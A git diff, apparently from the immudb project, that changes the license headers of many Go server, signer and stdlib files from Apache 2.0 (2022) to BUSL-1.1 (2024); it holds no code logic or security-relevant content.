b5b119b918..965d3cd773 100644 --- a/pkg/server/sessions/internal/transactions/errors.go +++ b/pkg/server/sessions/internal/transactions/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sessions/internal/transactions/transactions.go b/pkg/server/sessions/internal/transactions/transactions.go index ff71f75166..3ad49c08e4 100644 --- a/pkg/server/sessions/internal/transactions/transactions.go +++ b/pkg/server/sessions/internal/transactions/transactions.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sessions/internal/transactions/transactions_test.go b/pkg/server/sessions/internal/transactions/transactions_test.go index fc7628a9be..0289a7d552 100644 --- a/pkg/server/sessions/internal/transactions/transactions_test.go +++ b/pkg/server/sessions/internal/transactions/transactions_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sessions/manager.go b/pkg/server/sessions/manager.go index bd1579d653..a622f354c3 100644 --- a/pkg/server/sessions/manager.go +++ b/pkg/server/sessions/manager.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sessions/manager_test.go b/pkg/server/sessions/manager_test.go index e9d6421287..354f954dfd 100644 --- a/pkg/server/sessions/manager_test.go +++ b/pkg/server/sessions/manager_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sessions/options.go b/pkg/server/sessions/options.go index a1e77686f9..4c762fcf56 100644 --- a/pkg/server/sessions/options.go +++ b/pkg/server/sessions/options.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sessions/options_test.go b/pkg/server/sessions/options_test.go index e60c4f86c2..e7e72a1c54 100644 --- a/pkg/server/sessions/options_test.go +++ b/pkg/server/sessions/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index 1ea22ee2b8..19cb8ad607 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sessions/session_test.go b/pkg/server/sessions/session_test.go index b81fa5e67b..af61b45dca 100644 --- a/pkg/server/sessions/session_test.go +++ b/pkg/server/sessions/session_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sever_current_state_test.go b/pkg/server/sever_current_state_test.go index abaea0f377..d3ee8367a3 100644 --- a/pkg/server/sever_current_state_test.go +++ b/pkg/server/sever_current_state_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sql.go b/pkg/server/sql.go index 37378f4503..05e86f5e84 100644 --- a/pkg/server/sql.go +++ b/pkg/server/sql.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/sql_test.go b/pkg/server/sql_test.go index 54db525dfa..7ef4e9f282 100644 --- a/pkg/server/sql_test.go +++ b/pkg/server/sql_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/state_signer.go b/pkg/server/state_signer.go index 7e2c848706..da3819b5aa 100644 --- a/pkg/server/state_signer.go +++ b/pkg/server/state_signer.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/state_signer_test.go b/pkg/server/state_signer_test.go index a14a7504c4..cc2ae82315 100644 --- a/pkg/server/state_signer_test.go +++ b/pkg/server/state_signer_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at -http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/stream_replication.go b/pkg/server/stream_replication.go index 6a52c92733..034d1ac0b6 100644 --- a/pkg/server/stream_replication.go +++ b/pkg/server/stream_replication.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/stream_replication_test.go b/pkg/server/stream_replication_test.go index 83b3bcba45..70d6f79a1b 100644 --- a/pkg/server/stream_replication_test.go +++ b/pkg/server/stream_replication_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/stream_test.go b/pkg/server/stream_test.go index 1f03521151..74adb3ad34 100644 --- a/pkg/server/stream_test.go +++ b/pkg/server/stream_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/streams.go b/pkg/server/streams.go index 187b96c8a1..c8cc132ef1 100644 --- a/pkg/server/streams.go +++ b/pkg/server/streams.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/transaction.go b/pkg/server/transaction.go index 2ecabe6047..a41eaeb574 100644 --- a/pkg/server/transaction.go +++ b/pkg/server/transaction.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/transaction_test.go b/pkg/server/transaction_test.go index 5c4c26667a..e6f52310c2 100644 --- a/pkg/server/transaction_test.go +++ b/pkg/server/transaction_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/truncator.go b/pkg/server/truncator.go index 9f17943b87..0956af9467 100644 --- a/pkg/server/truncator.go +++ b/pkg/server/truncator.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/truncator_test.go b/pkg/server/truncator_test.go index 02def60ca2..e977c8cff0 100644 --- a/pkg/server/truncator_test.go +++ b/pkg/server/truncator_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/types.go b/pkg/server/types.go index 1973a24ab3..8340421d1f 100644 --- a/pkg/server/types.go +++ b/pkg/server/types.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/types_test.go b/pkg/server/types_test.go index 9003a6604a..1ebc6d6b6b 100644 --- a/pkg/server/types_test.go +++ b/pkg/server/types_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/user.go b/pkg/server/user.go index b0d7d321d3..26e3f39c84 100644 --- a/pkg/server/user.go +++ b/pkg/server/user.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/user_test.go b/pkg/server/user_test.go index 023fa7b908..7e963d96dc 100644 --- a/pkg/server/user_test.go +++ b/pkg/server/user_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/uuid.go b/pkg/server/uuid.go index aa24ccb128..0cebb94b03 100644 --- a/pkg/server/uuid.go +++ b/pkg/server/uuid.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/uuid_test.go b/pkg/server/uuid_test.go index 122a8c38d8..80d31ce981 100644 --- a/pkg/server/uuid_test.go +++ b/pkg/server/uuid_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index 5b81b80a7d..aaba6d8c14 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/server/webserver_test.go b/pkg/server/webserver_test.go index 03dae84bc5..b0a0e45594 100644 --- a/pkg/server/webserver_test.go +++ b/pkg/server/webserver_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/signer/ecdsa.go b/pkg/signer/ecdsa.go index e09994591a..43fb3fed1f 100644 --- a/pkg/signer/ecdsa.go +++ b/pkg/signer/ecdsa.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/signer/ecdsa_test.go b/pkg/signer/ecdsa_test.go index 258354b1c0..82558ab95e 100644 --- a/pkg/signer/ecdsa_test.go +++ b/pkg/signer/ecdsa_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/signer/signer.go b/pkg/signer/signer.go index cee31a7d6a..8995ebd427 100644 --- a/pkg/signer/signer.go +++ b/pkg/signer/signer.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/connection.go b/pkg/stdlib/connection.go index e6f772ba54..62ef49ad9b 100644 --- a/pkg/stdlib/connection.go +++ b/pkg/stdlib/connection.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/connection_test.go b/pkg/stdlib/connection_test.go index 2663d60b20..bda7a2577b 100644 --- a/pkg/stdlib/connection_test.go +++ b/pkg/stdlib/connection_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/connector.go b/pkg/stdlib/connector.go index 27952bb92d..5cf1993193 100644 --- a/pkg/stdlib/connector.go +++ b/pkg/stdlib/connector.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/connector_test.go b/pkg/stdlib/connector_test.go index 4b836e90e8..d55710e7ab 100644 --- a/pkg/stdlib/connector_test.go +++ b/pkg/stdlib/connector_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/driver.go b/pkg/stdlib/driver.go index 1bc82af78d..3408f804f3 100644 --- a/pkg/stdlib/driver.go +++ b/pkg/stdlib/driver.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/driver_test.go b/pkg/stdlib/driver_test.go index 5607f0384d..7186fd4940 100644 --- a/pkg/stdlib/driver_test.go +++ b/pkg/stdlib/driver_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/errors.go b/pkg/stdlib/errors.go index ebe085f81b..e4b926e689 100644 --- a/pkg/stdlib/errors.go +++ b/pkg/stdlib/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/immuConnector.go b/pkg/stdlib/immuConnector.go index 0a26e03885..e34597b564 100644 --- a/pkg/stdlib/immuConnector.go +++ b/pkg/stdlib/immuConnector.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/rows.go b/pkg/stdlib/rows.go index 006b014f27..5910ff96fd 100644 --- a/pkg/stdlib/rows.go +++ b/pkg/stdlib/rows.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/rows_test.go b/pkg/stdlib/rows_test.go index ac5f2f55d7..6ae1c62802 100644 --- a/pkg/stdlib/rows_test.go +++ b/pkg/stdlib/rows_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/sql_test.go b/pkg/stdlib/sql_test.go index 105d73318d..8371b8c389 100644 --- a/pkg/stdlib/sql_test.go +++ b/pkg/stdlib/sql_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/tx.go b/pkg/stdlib/tx.go index 23b06b19ac..7634ff5fb6 100644 --- a/pkg/stdlib/tx.go +++ b/pkg/stdlib/tx.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/tx_test.go b/pkg/stdlib/tx_test.go index f1641c75db..127a3af685 100644 --- a/pkg/stdlib/tx_test.go +++ b/pkg/stdlib/tx_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/uri.go b/pkg/stdlib/uri.go index f08cf71e0f..e09c2bab0c 100644 --- a/pkg/stdlib/uri.go +++ b/pkg/stdlib/uri.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/stdlib/uri_test.go b/pkg/stdlib/uri_test.go index 4d7343874f..d32ac4819a 100644 --- a/pkg/stdlib/uri_test.go +++ b/pkg/stdlib/uri_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may 